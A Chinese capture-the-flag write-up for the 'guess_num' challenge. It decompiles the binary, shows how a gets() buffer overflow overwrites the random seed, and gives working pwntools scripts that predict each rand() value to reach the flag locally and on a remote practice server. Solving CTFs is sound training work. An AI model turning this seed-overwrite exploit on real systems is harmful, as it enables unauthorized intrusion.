题目地址:guess_num
先看看题目情况
照例下载附件,做保护机制检查
root@mypwn:/ctf/work/python# checksec d22084e1938f4b21a380e38e2fb48629
[*] '/ctf/work/python/d22084e1938f4b21a380e38e2fb48629'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这次是保护机制全开,那就不多想了,直接拿出ida吧。
程序不多,反编译成c语言,3个函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return 0LL;
}
__int64 sub_BB0()
{
int fd; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd < 0 || (signed int)read(fd, &buf, 8uLL) < 0 )
exit(1);
if ( fd > 0 )
close(fd);
return buf;
}
sub_C3E()函数就是直接给出了结果,那我们逆推一下,看下什么条件可以走到sub_C3E()。
注意到main函数中有两个感兴趣到地方:
1、gets这里有溢出漏洞
2、这是一个伪随机数问题,只需要把随机种子设置成固定值,就可以通过反复测试或设置同种子来生成伪随机数
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
我们看到v9和seed变量之间的地址偏差是0x20,那么我们就可以构造payload:
payload = 'A'*0x20 + p64(1)
前面0x20个A是赋值给v9,64位整数1是赋值给seed[0]。
那么我们根据payload来编写python脚本:
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
p = process('./d22084e1938f4b21a380e38e2fb48629')
# p = remote("111.198.29.45", 39368)
payload = 'A'*0x20 + p64(1)
p.sendlineafter('Your name:', payload)
p.interactive()
执行之后的情况如下,我们可以多次猜测同一位置的随机数
root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 62
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 1
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 62)
[*] Got EOF while reading in interactive
$
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 72
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 1
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 72)
[*] Got EOF while reading in interactive
$
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 77
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 2
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 77)
[*] Got EOF while reading in interactive
$
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 82
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 3
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 82)
[*] Got EOF while reading in interactive
$
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 87
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 4
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 87)
---------------------------------
GG!
[*] Got EOF while reading in interactive
$
[*] Interrupted
root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 92
[*] Switching to interactive mode
-------------Turn:1-------------
Please input your guess number:$ 2
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:$ 5
---------------------------------
Success!
-------------Turn:3-------------
Please input your guess number:$ 1
---------------------------------
GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 92)
[*] Got EOF while reading in interactive
$
[*] Interrupted
root@mypwn:/ctf/work/python#
在上面我们已经拆解出了2轮数字了。这个只是给大家演示一下什么叫伪随机数。
那么下面我们加上libc,直接设置同样的随机数种子来生成随机数,python脚本如下:
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from ctypes import *
p = process('./d22084e1938f4b21a380e38e2fb48629')
# p = remote("111.198.29.45", 39368)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'A'*0x20 + p64(1)
p.sendlineafter('Your name:', payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6 + 1)
print num + '\n'
p.sendlineafter('number:',num)
p.interactive()
执行结果如下:
root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 101
2
5
4
2
6
2
5
1
4
2
[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cat: flag: No such file or directory
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 0 (pid 101)
[*] Got EOF while reading in interactive
$
好的,本地测试没有问题,那我们就调整一下到服务器上运行:
root@mypwn:/ctf/work/python# python guess_num.py
[+] Opening connection to 111.198.29.45 on port 31433: Done
2
5
4
2
6
2
5
1
4
2
[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{128a0308b8d1a018cec257591fc4a2ea}
[*] Got EOF while reading in interactive
$
同样成功了,顺利拿到了flag。
这个题目主要掌握的知识点就是伪随机数。